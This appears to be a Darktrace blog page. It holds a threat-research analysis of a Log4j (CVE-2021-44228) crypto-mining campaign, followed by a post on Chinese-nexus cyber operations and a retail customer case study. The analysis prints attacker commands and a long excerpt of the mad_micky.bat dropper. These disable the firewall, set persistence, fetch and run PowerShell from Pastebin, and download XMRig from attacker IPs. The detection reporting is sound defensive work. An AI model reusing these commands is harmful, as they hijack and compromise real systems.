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April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
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03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

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Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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Proactive Security

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April 1, 2026

AI-powered security for a rapidly growing grocery enterprise

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Protecting a complex, fast-growing retail organization

For this multi-banner grocery holding organization, cybersecurity is considered an essential business enabler, protecting operations, growth, and customer trust. The organization’s lean IT team manages a highly distributed environment spanning corporate offices, 100+ stores, distribution centers and  thousands of endpoints, users, and third-party connections.

Mergers and acquisitions fueled rapid growth, but they also introduced escalating complexity that constrained visibility into users, endpoints, and security risks inherited across acquired environments.

Closing critical visibility gaps with limited resources

Enterprise-wide visibility is a top priority for the organization, says the  Vice President of Information Technology. “We needed insights beyond the perimeter into how users and devices were behaving across the organization.”

A security breach that occurred before the current IT leadership joined the company reinforced the urgency and elevated cybersecurity to an executive-level priority with a focus on protecting customer trust. The goal was to build a multi-layered security model that could deliver autonomous, enterprise-wide protection without adding headcount.

Managing cyber risk in M&A

Mergers and acquisitions are central to the grocery holding company’s growth strategy. But each transaction introduces new cyber risk, including inherited network architectures, inconsistent tooling, excessive privileges, and remnants of prior security incidents that were never fully remediated.

“Our M&A targets range from small chains with a single IT person and limited cyber tools to large chains with more developed IT teams, toolsets and instrumentation,” explains the VP of IT. “We needed a fast, repeatable, and reliable way to assess cyber risk before transactions closed.”

AI-driven security built for scale, speed, and resilience

Rather than layering additional point tools onto an already complex environment, the retailer adopted the Darktrace ActiveAI Security Platform™ in 2020 as part of a broader modernization effort to improve resilience, close visibility gaps, and establish a security foundation that could scale with growth.

“Darktrace’s AI-driven approach provided the ideal solution to these challenges,” shares the VP of IT. “It has empowered our organization to maintain a robust security strategy, ensuring the protection of our network and the smooth operation of our business.”

Enterprise-wide visibility into traffic  

By monitoring both north-south and east-west traffic and applying Self-Learning AI, Darktrace develops a dynamic understanding of how users and devices normally behave across locations, roles, and systems.

“Modeling normal behavior across the environment enables us to quickly spot behavior that doesn’t fit. Even subtle changes that could signal a threat but appear legitimate at first glance,” explains the VP of IT.

Real-time threat containment, 24/7

Adopting autonomous response has created operational breathing room for the security team, says the company’s Cybersecurity  Engineer.

“Early on, we enabled full Darktrace autonomous mode and we continue to do so today,” shares the IT Security Architect. “Allowing the technology to act first gives us the time we need to investigate incidents during business hours without putting the business at risk.”

Unified, actionable view of security ecosystem

The grocery retailer integrated Darktrace with its existing security ecosystem of firewalls, vulnerability management tools, and endpoint detection and response, and the VP of IT described the adoption process as “exceptionally smooth.”

The team can correlate enterprise-wide security data for a unified and actionable picture of all activity and risk. Using this “single pane of glass” approach, the retailer trains Level 1 and Level 2 operations staff to assist with investigations and user follow-ups, effectively extending the reach of the security function without expanding headcount.

From reactive defense to security at scale

With Darktrace delivering continuous visibility, autonomous containment, and integrated security workflows, the organization has strengthened its cybersecurity posture while improving operational efficiency. The result is a security model that not only reduces risk, but also supports growth, resilience, and informed decision-making at the business level.

Faster detection, faster resolution

With autonomous detection and response, the retailer can immediately contain risk while analysts investigate and validate activity. With this approach, the company can maintain continuous protection even outside business hours and reduce the chance of lateral spread across systems or locations.

Enterprise-grade protection with a lean team

From cloud environments to clients to SaaS collaboration tools, Darktrace provides holistic autonomous AI defense, processing petabytes of the organization’s network traffic and investigating millions of individual events that could be indicative of a wider incident.

Today, Darktrace autonomously conducts the majority of all investigations on behalf of the IT team, escalating only a tiny fraction for analyst review. The impact has been profound, freeing analysts from endless alerts and hours of triage so they can focus on more valuable, proactive, and gratifying work.

“From an operational perspective, Darktrace gives us time back,” says the Cybersecurity Engineer. More importantly, says the VP of IT, “it gives us peace of mind that we’re protected even if we’re not actively monitoring every alert.”

A strategic input for M&A decision-making

One of the most strategic outcomes has been the role of cybersecurity on M&A. 90 days prior to closing a transaction, the security team uses Darktrace alongside other tools to perform a cyber risk assessment of the potential acquisition. “Our approach with Darktrace has consistently identified gaps and exposed risks,” says the VP of IT, including:

  • Remnants of previous incidents that were never fully remediated
  • Network configurations with direct internet exposure
  • Excessive administrative privileges in Active Directory or on critical hosts

While security findings may not alter deal timelines, the VP of IT says they can have enormous business implications. “With early visibility into these risks, we can reduce exposure to inherited cyber threats, strengthen our position during negotiations, and establish clear remediation requirements.”

A security strategy built to evolve with the business

As the holding group expands its cloud footprint, it will extend Darktrace protections into Azure, applying the same AI-driven visibility and autonomous response to cloud workloads. The VP of IT says Darktrace's evolving capabilities will be instrumental in addressing the organization’s future cybersecurity needs and ability to adapt to the dynamic nature of cloud security.

“With Darktrace’s AI-driven approach, we have moved beyond reactive defense, establishing a resilient security foundation for confident expansion and modernization.”

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